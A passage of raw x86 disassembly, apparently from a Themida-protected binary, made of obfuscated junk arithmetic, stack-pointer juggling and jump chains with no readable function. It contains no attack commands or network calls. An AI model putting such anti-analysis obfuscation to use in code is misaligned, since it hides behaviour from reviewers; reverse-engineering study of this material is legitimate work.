[esp-0Eh+arg_8+2] jmp loc_5644ED ; --------------------------------------------------------------------------- loc_57135C: ; CODE XREF: sub_562ABA+C949j movzx eax, al push dword ptr [edi+eax*4] push ecx push edx push 4A07F14h pop edx sub edx, 22EA668Eh add edx, 7BC11C0Eh push 4C56h mov [esp+32h+var_32], edi mov edi, edx mov ecx, edi pop edi pop edx sub [esp+2Ah+var_28+2], 45D044B1h sub [esp+2Ah+var_28+2], ecx jmp loc_569E43 ; --------------------------------------------------------------------------- loc_571395: ; CODE XREF: sub_562ABA+3594j add ebp, 7B746520h sub ebp, 79800C84h add ebp, ebx jmp loc_56C9B6 ; --------------------------------------------------------------------------- loc_5713A8: ; CODE XREF: sub_560EC1+1j mov ebx, 63C8589Fh add eax, ebx mov ebx, [esp+2+var_4+2] add esp, 4 add eax, edx push edi mov edi, 21716357h neg edi shr edi, 1 sub edi, 0B7EF5B5h sub eax, edi pop edi mov edx, [esp+0] jmp loc_56E1D4 ; --------------------------------------------------------------------------- loc_5713D5: ; CODE XREF: sub_562ABA+467Cj push ebp jmp loc_569CE4 ; --------------------------------------------------------------------------- loc_5713DB: ; CODE XREF: sub_562ABA-1B3Fj mov esp, [esp-10h+arg_C] mov [esp-10h+arg_C], esp jmp loc_56AFF0 ; --------------------------------------------------------------------------- loc_5713E6: ; CODE XREF: sub_562ABA+1487j push eax mov eax, 1C7B768Eh jmp loc_56844A ; --------------------------------------------------------------------------- loc_5713F1: ; CODE XREF: sub_562ABA-1FE5j sub esi, 4 xchg esi, [esp+12h+var_12] jmp loc_568EBA ; --------------------------------------------------------------------------- loc_5713FC: ; CODE XREF: sub_562ABA+68F3j sub eax, ebp jmp loc_566B7C ; --------------------------------------------------------------------------- loc_571403: ; CODE XREF: sub_562ABA+5E76j add ecx, 4 xchg ecx, [esp+4Ah+var_4A] pop esp push esi push esp pop esi add esi, 4 push ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_5630A3 ; --------------------------------------------------------------------------- loc_571421: ; CODE XREF: sub_562ABA+E31Cj mov bh, 8Ch add bh, 0F8h or bh, 60h jmp loc_56CED9 ; --------------------------------------------------------------------------- loc_57142E: ; DATA XREF: Themida_:0055DDCCo mov cx, word ptr [esp+32h+var_32] jmp loc_561A8C ; --------------------------------------------------------------------------- loc_571437: ; CODE XREF: sub_562ABA-74Ej mov [esp+4+var_4], esi jmp loc_5667DE ; --------------------------------------------------------------------------- push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], ecx jmp loc_565EE3 ; --------------------------------------------------------------------------- loc_571453: ; CODE XREF: sub_562ABA+B17Fj mov edx, 4 mov ebx, edx pop edx add ebp, 4D76670h add ebp, ebx sub ebp, 4D76670h pop ebx push edx mov edx, 4 sub ebp, edx pop edx xor ebp, [esp+26h+var_28+2] xor [esp+26h+var_28+2], ebp xor ebp, [esp+26h+var_28+2] pop esp mov [esp+22h+var_22], ebx push 2826h jmp loc_56C75F ; --------------------------------------------------------------------------- loc_57148A: ; CODE XREF: sub_562ABA+85B3j push edi mov edi, 4 push 218Bh jmp loc_5613B9 ; --------------------------------------------------------------------------- loc_57149A: ; CODE XREF: sub_562ABA+533Aj xor ecx, 83C61316h mov eax, ecx jmp loc_5626DB ; --------------------------------------------------------------------------- loc_5714A7: ; CODE XREF: sub_562ABA+F6E7j xor ebp, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] jmp loc_56DBED ; --------------------------------------------------------------------------- loc_5714B2: ; CODE XREF: sub_562ABA+7F66j xor [esp+48h+var_4A+2], eax push eax xor [esp+4Ch+var_4E+2], edi xor edi, [esp+4Ch+var_4E+2] xor [esp+4Ch+var_4E+2], edi xchg esi, edi not esi jmp loc_5657EF ; --------------------------------------------------------------------------- loc_5714C8: ; CODE XREF: sub_55FCA5+3Bj dec edi xor edi, 4EDD5728h jmp loc_567A5C ; --------------------------------------------------------------------------- loc_5714D4: ; CODE XREF: sub_562ABA+37D8j push [esp-14h+arg_10] pop ebx push eax jmp loc_5703CA ; --------------------------------------------------------------------------- loc_5714DE: ; CODE XREF: sub_562ABA+6557j pop ebp xor edi, ecx push [esp+44h+var_46+2] jmp loc_56A084 ; --------------------------------------------------------------------------- loc_5714E9: ; CODE XREF: sub_562ABA+70E8j bts word ptr [esp+6+var_8+2], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5714F4: ; CODE XREF: sub_562ABA+F08Fj and ebx, 381F4D39h sub ebx, 749743A9h xor ebx, 0FB7A69B3h sub eax, ebx mov ebx, [esp+0Ah+var_C+2] add esp, 4 add eax, 3F3D7768h and eax, 604D63D1h jmp loc_56CEAB ; --------------------------------------------------------------------------- loc_57151D: ; CODE XREF: sub_562ABA+6D1Bj add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push 0 jmp loc_5693B2 ; --------------------------------------------------------------------------- loc_571534: ; CODE XREF: sub_562ABA-283Ej add al, ch mov ecx, [esp-6+arg_0+2] push esi mov esi, esp jmp loc_565261 ; --------------------------------------------------------------------------- loc_571541: ; CODE XREF: sub_562ABA+33B0j pop ebp add ecx, 4 jmp loc_562FFA ; --------------------------------------------------------------------------- loc_57154D: ; CODE XREF: sub_55FCA5+1EF3j sub ecx, edi pop edi pop ebp add ebx, ecx mov ecx, [esp+12h+var_12] add esp, 4 jmp loc_563D53 ; --------------------------------------------------------------------------- loc_57155E: ; CODE XREF: sub_562ABA+FEB3j pop edx and edi, 1C623A6Fh dec edi shl edi, 7 add edi, 449F01B4h shr edi, 1 xor edi, 53A5710Eh jmp loc_5699EA ; --------------------------------------------------------------------------- loc_57157C: ; CODE XREF: sub_562ABA+528Bj xor ecx, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], ecx xor ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], ebp mov ebp, 1F673736h add ecx, 29E41F4Ch add ecx, ebp jmp loc_5681B5 ; --------------------------------------------------------------------------- loc_57159D: ; CODE XREF: sub_562ABA+CE54j mov edx, 205F1CFEh xchg edi, edx jmp loc_56040D ; --------------------------------------------------------------------------- loc_5715A9: ; CODE XREF: sub_562ABA+100B6j push ecx mov ecx, 1FBA4558h neg ecx add ecx, 51359860h jmp loc_57224C ; --------------------------------------------------------------------------- loc_5715BC: ; CODE XREF: sub_562ABA+1F86j shr esi, 7 push eax mov eax, 796E413Fh jmp loc_55E74F ; --------------------------------------------------------------------------- loc_5715CA: ; CODE XREF: sub_562ABA-28A9j pop esi xor ax, dx mov dx, word ptr [esp-0Eh+arg_8+2] add esp, 2 push ebx push ax jmp loc_5700E7 ; --------------------------------------------------------------------------- loc_5715E0: ; CODE XREF: sub_562ABA+372Ej shr ebp, 5 or ebp, 5C0B6CD1h sub ebp, 5644FD1h mov eax, ebp jmp loc_569370 ; --------------------------------------------------------------------------- loc_5715F6: ; CODE XREF: sub_56217C+19j pop edx add ebx, 4 xchg ebx, [esp+22h+var_22] jmp loc_567519 ; --------------------------------------------------------------------------- loc_571605: ; CODE XREF: sub_562ABA+BE9Dj add [esp+32h+var_32], 5EF50F07h pop ecx sub ecx, 5EF50F07h pop esi xor ecx, 328F3D35h and eax, ecx push [esp+2Ah+var_2C+2] pop ecx push ebx mov ebx, esp push edi mov edi, 78100096h push ecx mov ecx, 291E593Bh add ecx, 4C967C96h add ecx, 7D5F0657h inc ecx add ecx, 6A868249h add edi, ecx mov ecx, [esp+36h+var_36] add esp, 4 jmp loc_5636B3 ; --------------------------------------------------------------------------- loc_571652: ; CODE XREF: sub_562ABA+DEEDj add esp, 4 jmp loc_562224 ; --------------------------------------------------------------------------- loc_57165A: ; CODE XREF: sub_562ABA+CFB2j mov [esp+5Ah+var_5A], eax push ebx mov bh, 0EDh sub esp, 4 mov [esp+62h+var_62], edx mov dl, 52h mov al, dl pop edx sub al, bh mov ebx, [esp+5Eh+var_5E] add esp, 4 add al, 9Bh mov bh, al jmp loc_5662E8 ; --------------------------------------------------------------------------- loc_571682: ; CODE XREF: sub_562ABA+2B88j mov edx, 533757F9h dec edx jmp loc_560E3C ; --------------------------------------------------------------------------- loc_57168D: ; CODE XREF: sub_562ABA+27F4j add esp, 4 push ebx pop esi pop ebx add edx, 57CF32DCh add edx, esi push ebp push 5727h mov [esp+36h+var_36], esi mov esi, 328715C6h add esi, 32732ED5h mov ebp, esi pop esi inc ebp or ebp, 62A17195h jmp loc_568B59 ; --------------------------------------------------------------------------- loc_5716C1: ; CODE XREF: sub_562ABA+776Dj and al, ch mov cx, [esp+0] jmp loc_5696FB ; --------------------------------------------------------------------------- loc_5716CC: ; CODE XREF: sub_562ABA-47A9j add ebp, 4 push 3CFh mov [esp+0], edx mov edx, 6765685Fh jmp loc_56E3AD ; --------------------------------------------------------------------------- loc_5716E4: ; CODE XREF: sub_55FCA5+40Bj add ebp, 4A43F1Fh pop edi jmp loc_56D2E1 ; --------------------------------------------------------------------------- loc_5716F0: ; CODE XREF: sub_562ABA-3EDFj pop esi add esp, 4 push 4037h mov [esp+0], ecx mov ecx, 0 add ecx, 5FC16BA9h add ecx, eax sub ecx, 5FC16BA9h push edx push edi push ecx push 150721BEh pop ecx add [esp+3Ah+var_36], 7A174273h jmp loc_55E3E0 ; --------------------------------------------------------------------------- loc_571728: ; CODE XREF: sub_562ABA+BD3Fj mov [esp+12h+var_12], ebx push esp jmp loc_5679E2 ; --------------------------------------------------------------------------- loc_571731: ; CODE XREF: sub_562ABA+8999j push edx mov edx, 3BAA63D8h mov edi, 3BAA63D7h sub edi, edx jmp loc_572B1A ; --------------------------------------------------------------------------- loc_571743: ; CODE XREF: sub_562ABA-3BD9j pop edi push 340Bh mov [esp+0], ebx push [esp+2Eh+var_2C+2] push [esp+32h+var_32] mov ebx, [esp+36h+var_36] add esp, 4 jmp loc_56C8AA ; --------------------------------------------------------------------------- loc_571761: ; CODE XREF: sub_562ABA+7735j pop esi sub edx, 75A2E9D4h and eax, edx jmp loc_56DEEF ; --------------------------------------------------------------------------- loc_57176F: ; CODE XREF: sub_562ABA+BF12j push esi push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi jmp loc_56830B ; --------------------------------------------------------------------------- loc_571781: ; CODE XREF: sub_562ABA+FE7Aj mov word ptr [esp+2Ah+var_2C+2], bx jmp loc_55F4E5 ; --------------------------------------------------------------------------- loc_57178A: ; CODE XREF: sub_562ABA+ADDFj pop ecx push ecx push 31E8h jmp loc_560D75 ; --------------------------------------------------------------------------- loc_571796: ; CODE XREF: sub_562ABA-317Dj pop ecx add edx, esi push [esp+0Ah+var_C+2] pop esi add esp, 4 shr edx, 8 xor edx, 41FE2C40h push 17A1h jmp loc_5684EE ; --------------------------------------------------------------------------- loc_5717B6: ; CODE XREF: sub_562ABA+6E26j pop esp xor edx, esi mov esi, [esp-10h+arg_C] jmp loc_5648D8 ; --------------------------------------------------------------------------- loc_5717C1: ; CODE XREF: sub_562ABA+CCD8j add edx, ebp pop ebp pop ebx xchg edx, [esp+46h+var_46] mov esp, [esp+46h+var_46] sub esp, 4 mov [esp+4Ah+var_4A], ebp push 1D09h jmp loc_568188 ; --------------------------------------------------------------------------- loc_5717DE: ; CODE XREF: sub_562ABA+CA76j add esi, 0BDF785B6h add edi, esi push [esp+32h+var_32] pop esi push edx jmp loc_564077 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+36h+var_36] push 4088h mov [esp+3Ah+var_3A], ebx mov ebx, esp sub esp, 4 mov [esp+3Eh+var_3E], edi mov edi, 4 jmp loc_56295E ; --------------------------------------------------------------------------- loc_571811: ; CODE XREF: sub_562ABA+BAA2j add esp, 4 jmp loc_56FFB6 ; --------------------------------------------------------------------------- loc_57181C: ; CODE XREF: sub_562ABA+7920j add edx, edi pop edi xchg edx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] shl [esp+1Ah+var_1A], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_57182E: ; CODE XREF: sub_562ABA+DD5Fj shl eax, 6 not eax push ebp mov ebp, 69FF4184h not ebp inc ebp inc ebp sub esp, 4 mov [esp+0], edi mov edi, 49366DC2h sub ebp, edi pop edi sub eax, ebp jmp loc_568DA4 ; --------------------------------------------------------------------------- loc_571852: ; CODE XREF: sub_562ABA+DF03j add eax, 42CC88CFh sub edi, eax pop eax add edi, 54E31367h and edi, 0D8115C0h xor edi, 2DCE3CF9h sub edi, 2DCE3DB7h add ebp, edi pop edi xor ebp, [esp+2Ah+var_2C+2] xor [esp+2Ah+var_2C+2], ebp xor ebp, [esp+2Ah+var_2C+2] pop esp bts word ptr [esp+26h+var_28+2], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_57188A: ; CODE XREF: sub_562ABA+8326j push esp jmp loc_571AD0 ; --------------------------------------------------------------------------- loc_571890: ; CODE XREF: sub_562ABA+4092j add esp, 2 neg cl sub esp, 4 mov [esp+0Ch+var_C], eax jmp loc_562FE5 ; --------------------------------------------------------------------------- loc_5718A3: ; CODE XREF: sub_562ABA+3268j add eax, 15BA34CBh push 1684h mov [esp+16h+var_16], edx mov edx, 629C1DC8h push edi mov edi, 5D0E5A2Eh jmp loc_55FF22 ; --------------------------------------------------------------------------- loc_5718C0: ; CODE XREF: sub_562ABA-1923j pop ebx mov dh, ch pop ecx mov eax, [esp+0] add esp, 4 jmp loc_567889 ; --------------------------------------------------------------------------- loc_5718CF: ; CODE XREF: sub_562ABA+6EF2j push [esp+12h+var_12] mov edx, [esp+16h+var_16] push ebx mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp+1Ah+var_1A] pop esp add esp, 4 shr ecx, 0 or eax, eax jz loc_568AD0 push ebx jmp loc_566E96 ; --------------------------------------------------------------------------- loc_5718FF: ; CODE XREF: sub_562ABA-2E2Bj add eax, 35C8A2A8h or esi, eax pop eax neg esi push esi not [esp+12h+var_12] pop esi shl esi, 6 xor esi, 8A242356h xor edi, esi push dword ptr [esp+0] jmp loc_56684C ; --------------------------------------------------------------------------- loc_571921: ; CODE XREF: sub_562ABA+3D8Dj push 0FE6h mov [esp+0Ch+var_C], esi mov esi, 4F863B69h neg esi jmp loc_55F90A ; --------------------------------------------------------------------------- loc_571935: ; CODE XREF: sub_562ABA+F5Bj xor ebp, 8DE648B1h dec ebp jmp loc_56A44B ; --------------------------------------------------------------------------- loc_571941: ; CODE XREF: sub_562ABA+65B3j pop ecx add esp, 4 xor bl, al jmp loc_565B57 ; --------------------------------------------------------------------------- loc_57194C: ; CODE XREF: sub_562ABA-1780j add edx, esi jmp loc_56A8F1 ; --------------------------------------------------------------------------- loc_571953: ; CODE XREF: sub_562ABA+5062j pop ebx sub ecx, 3951222h jmp loc_568606 ; --------------------------------------------------------------------------- loc_57195F: ; CODE XREF: sub_562ABA+2E07j sub edx, 195E5C96h not edx jmp loc_56043F ; --------------------------------------------------------------------------- loc_57196C: ; CODE XREF: sub_562ABA+D091j add ebp, eax sub ebp, 34E96787h mov eax, [esp+0] add esp, 4 jmp loc_56F383 ; --------------------------------------------------------------------------- loc_571982: ; CODE XREF: sub_562ABA+4E5Dj add esp, 4 xor ecx, ebx pop ebx push 2F26h jmp loc_565060 ; --------------------------------------------------------------------------- loc_571992: ; CODE XREF: sub_562ABA+8065j add esp, 4 push 6341h jmp loc_56A7C0 ; --------------------------------------------------------------------------- loc_5719A2: ; CODE XREF: sub_562ABA+553Cj sub esp, 4 mov [esp+4Ah+var_4A], edi mov edi, 69962AAFh shl edi, 6 neg edi jmp loc_56FCD9 ; --------------------------------------------------------------------------- loc_5719B7: ; CODE XREF: sub_562ABA+4256j add ecx, 53EECE50h or ebp, ecx pop ecx jmp loc_56C4C8 ; --------------------------------------------------------------------------- loc_5719C5: ; CODE XREF: sub_562ABA+520Aj pop edx add ebx, esi jmp loc_5619C9 ; --------------------------------------------------------------------------- loc_5719CD: ; CODE XREF: sub_562ABA-3B98j sub eax, edi push [esp+26h+var_28+2] jmp loc_562852 ; --------------------------------------------------------------------------- loc_5719D7: ; CODE XREF: sub_562ABA+6DBj mov [esp-0Ch+arg_8], edx push eax pushf jmp loc_56167F ; --------------------------------------------------------------------------- loc_5719E1: ; CODE XREF: sub_562ABA+1468j xchg ebp, [esp+6+var_8+2] pop esp push 4389h mov [esp+6+var_8+2], ebx push [esp+6+var_4+2] mov ebx, [esp+0Ah+var_C+2] push eax mov eax, esp jmp loc_56C087 ; --------------------------------------------------------------------------- loc_5719FC: ; CODE XREF: sub_562ABA+7467j sub esp, 4 jmp loc_55E27F ; --------------------------------------------------------------------------- loc_571A07: ; CODE XREF: sub_562ABA-695j push esp mov esi, [esp+4Ah+var_4A] add esp, 4 add esi, 4 push 0C6h mov [esp+4Ah+var_4A], edx mov edx, 40EF6430h push esi jmp loc_56C04F ; --------------------------------------------------------------------------- loc_571A2A: ; CODE XREF: sub_562ABA+3181j pop edx shl edi, 8 shr edi, 7 push ecx push edi mov edi, 3C791237h add edi, 5DC33AF3h xor edi, 880C2338h jmp loc_55EF14 ; --------------------------------------------------------------------------- loc_571A49: ; CODE XREF: sub_562ABA+7939j pop edx push 7BEh mov [esp+1Ah+var_1A], ecx push [esp+1Ah+var_16] pop ecx pop [esp+1Ah+var_1A] mov esp, [esp+16h+var_16] mov dx, word ptr [esp+16h+var_16] jmp loc_567FE0 ; --------------------------------------------------------------------------- loc_571A66: ; CODE XREF: sub_562ABA-1004j mov ecx, 0A24BFB46h jmp loc_55F5BF ; --------------------------------------------------------------------------- loc_571A70: ; CODE XREF: sub_562ABA+83B4j xor [esp+26h+var_28+2], ebp jmp loc_563544 ; --------------------------------------------------------------------------- loc_571A78: ; CODE XREF: sub_562ABA+34EFj sub ebp, 237F26A5h jmp loc_563CB4 ; --------------------------------------------------------------------------- loc_571A83: ; CODE XREF: sub_562ABA+3AF2j pop ebp sub eax, ecx jmp loc_55E817 ; --------------------------------------------------------------------------- loc_571A8B: ; CODE XREF: sub_562ABA-3600j mov dx, word ptr [esp+16h+var_16] jmp loc_5691E5 ; --------------------------------------------------------------------------- loc_571A94: ; CODE XREF: sub_562ABA+C05Fj mov esp, [esp-6+arg_0+2] mov [esp-6+arg_0+2], ecx push esi mov esi, 31C4685Ah or esi, 4DC46306h add esi, 43155F64h sub esi, 4BFD045Ch add esi, 9E99AEBEh jmp loc_570075 ; --------------------------------------------------------------------------- loc_571ABD: ; CODE XREF: sub_562ABA+7A0Fj push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp+36h+var_36] add esp, 4 jmp loc_567075 ; --------------------------------------------------------------------------- loc_571AD0: ; CODE XREF: sub_562ABA+EDD1j pop ebp sub esp, 4 mov [esp+32h+var_32], esi push ebp mov ebp, 67133CCEh mov esi, ebp pop ebp sub esi, 21101D86h and esi, 4F0C4984h shr esi, 5 add esi, 462F1FBCh inc esi sub esi, 485F2001h add ebp, esi pop esi jmp loc_56B92C ; --------------------------------------------------------------------------- loc_571B04: ; CODE XREF: sub_562ABA-2215j sub eax, edi pop edi mov esi, eax pop eax add esi, 0FFFFFFFFh not esi inc esi shr esi, 4 push ebx jmp loc_56385C ; --------------------------------------------------------------------------- loc_571B19: ; CODE XREF: sub_562ABA+E1Ej mov edi, 2F971663h add [esp+12h+var_8+2], edi pop edi pop ebp jmp loc_5669AA ; --------------------------------------------------------------------------- loc_571B29: ; CODE XREF: sub_562ABA+4C63j pop dword ptr [esp+0] pop esp movzx cx, al push 7AE3h mov [esp+0Ah+var_C+2], ebp push esp jmp loc_5693E8 ; --------------------------------------------------------------------------- loc_571B3F: ; CODE XREF: sub_562ABA+3B50j mov ebx, 51FC31B3h shl ebx, 8 shr ebx, 1 jmp loc_5714F4 ; --------------------------------------------------------------------------- loc_571B4E: ; CODE XREF: sub_562ABA+9559j xchg edi, [esp+12h+var_12] jmp loc_56B4CC ; --------------------------------------------------------------------------- loc_571B56: ; CODE XREF: sub_562ABA-5FDj mov ebp, 69586AD2h xor ebp, ecx pop ecx not ebp jmp loc_5642A4 ; --------------------------------------------------------------------------- loc_571B65: ; CODE XREF: sub_562ABA+5113j push esp pop ebx push edx push ebp push eax mov eax, 797F12E7h shl eax, 3 xor eax, 0D5FAC8FBh mov ebp, eax push [esp+0Ah+var_C+2] push dword ptr [esp+0] pop eax add esp, 4 add esp, 4 mov edx, ebp pop ebp sub edx, 1E025FBFh jmp loc_568703 ; --------------------------------------------------------------------------- loc_571B97: ; CODE XREF: sub_562ABA+B58Fj sub eax, 57FB4557h sub eax, 4E2D4719h sub esp, 4 jmp loc_56C20F ; --------------------------------------------------------------------------- loc_571BA9: ; CODE XREF: sub_562ABA+5DBFj push [esp+2Ah+var_2C+2] pop eax jmp loc_5725D8 ; --------------------------------------------------------------------------- loc_571BB2: ; CODE XREF: sub_562ABA+63C8j add [esp-0Ah+arg_8+2], ecx push [esp-0Ah+arg_4+2] pop ecx jmp loc_563C3A ; --------------------------------------------------------------------------- loc_571BBF: ; CODE XREF: sub_562ABA+7774j mov edx, [esp+0] add esp, 4 sub esi, 4 xchg esi, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], eax push 3BFE1D7Fh jmp loc_563C27 ; --------------------------------------------------------------------------- loc_571BDC: ; CODE XREF: sub_562ABA+2D5Ej pop esi jmp loc_561897 ; --------------------------------------------------------------------------- loc_571BE2: ; CODE XREF: sub_562ABA+3258j mov esp, [esp+0] add ebx, 4 push esi jmp loc_563C4D ; --------------------------------------------------------------------------- loc_571BF1: ; CODE XREF: sub_562ABA-22BCj xor ecx, 173B2F56h add ecx, 302EC745h add edx, ecx jmp loc_55E1CD ; --------------------------------------------------------------------------- loc_571C04: ; CODE XREF: sub_562ABA+97AAj pop ebx dec eax shl eax, 3 shr eax, 1 sub eax, 2E8E091Ah sub ecx, eax push [esp+22h+var_22] pop eax add esp, 4 push esi mov esi, 4EC24684h add ecx, esi pop esi shr ecx, 7 shr ecx, 8 push edx mov edx, 3171219Fh push edi jmp loc_56CE02 ; --------------------------------------------------------------------------- loc_571C34: ; CODE XREF: sub_562ABA+3C4Aj not esi not esi xor esi, 67BC69F1h mov edi, esi pop esi sub [esp+4], edi mov edi, [esp+32h+var_32] add esp, 4 pop esi jmp loc_56B545 ; --------------------------------------------------------------------------- loc_571C54: ; CODE XREF: sub_562ABA+ACB8j push eax mov ah, 0F3h inc ah add ah, 0EDh mov dl, 29h add dl, 0EBh add dl, ah sub dl, 0EBh pop eax add dl, ch push [esp+18h+var_1A+2] pop ecx push edx mov edx, esp push 3A0Bh mov [esp+20h+var_22+2], ebp mov ebp, 4 add edx, ebp jmp loc_561333 ; --------------------------------------------------------------------------- loc_571C84: ; CODE XREF: sub_562ABA+E69Aj xor al, 0EFh add cl, al pop eax add al, 0D9h sub al, 0C4h add al, cl add al, 0C4h jmp loc_564836 ; --------------------------------------------------------------------------- loc_571C96: ; CODE XREF: sub_562ABA+3j add ebx, 4 sub ebx, 4 xchg ebx, [esp+26h+var_28+2] mov esp, [esp+26h+var_28+2] mov [esp+26h+var_28+2], ebx push 200h push [esp+2Ah+var_2C+2] mov ebx, [esp+0] push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp+32h+var_32] mov esp, [esp+32h+var_32] jmp loc_56628C sub_562ABA endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_56123C ; =============== S U B R O U T I N E ======================================= sub_571CD8 proc near ; CODE XREF: sub_562ABA+A896j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 646875E2h jmp loc_570DDB sub_571CD8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571CEB: ; CODE XREF: sub_562ABA-15EFj sub esi, 2D29169Dh jmp loc_568157 ; --------------------------------------------------------------------------- loc_571CF6: ; CODE XREF: sub_562ABA+4D69j push edx dec byte ptr [esp-8+arg_4+1] pop edx not dh jmp loc_56130C ; --------------------------------------------------------------------------- loc_571D03: ; CODE XREF: sub_562ABA+1E19j sub al, 0Dh add al, bl add al, 0Dh sub al, 62h mov ebx, [esp+26h+var_28+2] add esp, 4 add al, 13h push ebx push eax push ecx jmp loc_562AF0 ; --------------------------------------------------------------------------- loc_571D1E: ; CODE XREF: sub_562ABA+519Aj or cl, 5Dh push eax push edx mov dh, 36h add dh, 0CBh mov al, dh pop edx add cl, 62h add cl, al sub cl, 62h jmp loc_56FCE4 ; --------------------------------------------------------------------------- loc_571D38: ; CODE XREF: sub_562ABA+B635j push ecx mov cl, dl not cl jmp loc_5711E2 ; --------------------------------------------------------------------------- loc_571D42: ; CODE XREF: sub_562ABA+81E5j or bh, ah pop eax xor bh, 0F6h sub esp, 4 mov [esp-8+arg_4], edx mov dl, 3Dh xor dl, 47h inc dl xor dl, 0A1h dec dl sub dl, 24h and bh, dl pop edx dec bh add bh, 8 add al, bh pop ebx jmp loc_56774C ; --------------------------------------------------------------------------- loc_571D6D: ; CODE XREF: sub_562ABA+99BDj mov edi, [esp+1Eh+var_1E] add esp, 4 pop ebx and eax, edx mov edx, [esp+16h+var_16] push 614Ah mov [esp+1Ah+var_1A], eax push 3167h push esp pop [esp+22h+var_22] jmp loc_560C9E ; --------------------------------------------------------------------------- loc_571D8F: ; CODE XREF: sub_562ABA+543j xor [esp+12h+var_12], ecx xor ecx, [esp+12h+var_12] pop esp push edx push ebp push esi mov esi, 0AC760A1h add esi, 0F5389F5Fh mov ebp, esi pop esi mov edx, ebp pop ebp add edx, eax mov [edx], ch mov edx, [esp+12h+var_12] add esp, 4 push dword ptr [esp+0] pop ecx jmp loc_56BE61 ; --------------------------------------------------------------------------- loc_571DC0: ; CODE XREF: sub_562ABA+27A2j push esp jmp loc_567A70 ; --------------------------------------------------------------------------- loc_571DC6: ; CODE XREF: sub_562ABA+BCB9j pop ebx add esp, 4 jmp loc_56DC7A ; --------------------------------------------------------------------------- loc_571DCF: ; CODE XREF: sub_562ABA+1018Ej sub eax, 4 jmp loc_5724BC ; --------------------------------------------------------------------------- loc_571DD7: ; CODE XREF: sub_562ABA+3A99j pop [esp+14h+var_16+2] mov esp, [esp+10h+var_12+2] xor word ptr [esp+10h+var_12+2], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_571DE7: ; CODE XREF: sub_562ABA+D6E5j push [esp+22h+var_22] jmp loc_5667AC ; --------------------------------------------------------------------------- loc_571DEF: ; CODE XREF: sub_562ABA-2828j pop ebx push ebx mov ebx, 148077EAh jmp loc_56F408 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_571DFB: ; DATA XREF: Themida_:0055DFD4o mov sp, [esp] jmp loc_55E09F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571E04: ; CODE XREF: sub_562ABA+DC69j push ecx push ebx mov ebx, 5D842809h shr ebx, 7 xor ebx, 50322B66h mov ecx, ebx jmp loc_55FBEA ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_571E1B: ; DATA XREF: Themida_:0055DFBCo push dword ptr [esp] mov eax, [esp] push 3F94h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56B45E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571E3D: ; CODE XREF: sub_562ABA+D901j pop edi xchg ecx, [esp-6+arg_0+2] pop esp push 6C22h mov [esp-6+arg_0+2], edi jmp loc_567E76 ; --------------------------------------------------------------------------- loc_571E4F: ; CODE XREF: sub_562ABA+FF5Dj mov dl, bh push ebx jmp loc_563D2A ; --------------------------------------------------------------------------- loc_571E57: ; CODE XREF: sub_562ABA+B3D2j xchg ebp, ecx jmp loc_565A9B ; --------------------------------------------------------------------------- loc_571E5E: ; CODE XREF: sub_562ABA+DF70j pop ebp mov edi, [esp+8+var_8] jmp loc_55F902 ; --------------------------------------------------------------------------- loc_571E67: ; CODE XREF: sub_562ABA+6232j sub al, 94h add al, 52h jmp loc_56602F ; --------------------------------------------------------------------------- loc_571E70: ; CODE XREF: sub_562ABA+AEB9j not esi add esi, 1 sub esi, 0EAEFF4AEh push esi pop eax pop esi sub [esp+0Ah+var_8+2], 14AA2F0Eh jmp loc_563396 ; --------------------------------------------------------------------------- loc_571E8B: ; CODE XREF: sub_562ABA-3218j push [esp+26h+var_22] pop edx pop [esp+26h+var_28+2] pop esp mov word ptr [esp+1Eh+var_1E], dx push ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_571EA0: ; CODE XREF: sub_562ABA+17F6j add ebp, esi add ebp, 3D71636Dh pop esi push ebx mov ebx, 631B5C2Fh add ebx, 0FFD60D38h add ebp, ebx mov ebx, [esp+1Ah+var_1A] add esp, 4 jmp loc_56B319 ; --------------------------------------------------------------------------- loc_571EC5: ; CODE XREF: sub_562ABA+10FBj xor ebp, 248E716Dh add edx, ebp pop ebp sub edx, ecx sub edx, 3E465FAFh pop ecx sub edx, 0A643C0CCh shr edx, 3 sub edx, 710C4750h inc edx xor edx, 8BC26A65h sub esp, 4 mov [esp+4Eh+var_4E], edx push esi jmp loc_56E49A ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_571EF9 proc near ; CODE XREF: sub_562ABA-2F4Dj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi mov edi, 4 sub ecx, 536B0613h jmp loc_5655FD sub_571EF9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_571F0F: ; CODE XREF: sub_562ABA+41E9j mov al, dl pop edx pop ecx push ebx push ecx mov cl, al 